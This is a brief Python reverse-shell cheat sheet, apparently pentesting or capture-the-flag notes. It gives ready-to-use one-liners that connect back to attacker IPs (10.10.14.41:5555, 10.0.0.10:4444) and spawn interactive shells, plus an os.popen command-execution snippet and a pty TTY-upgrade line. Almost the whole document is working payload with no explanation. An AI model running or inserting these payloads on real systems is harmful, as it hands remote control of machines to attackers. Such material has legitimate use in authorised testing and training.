PYTHON

#1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.41",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#2 (system returns exit code)
__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/4444 0>&1'")

#3 (popen returns output)
__import__("os").popen("id").read()

#Python TTY
python -c 'import pty; pty.spawn("/bin/sh")'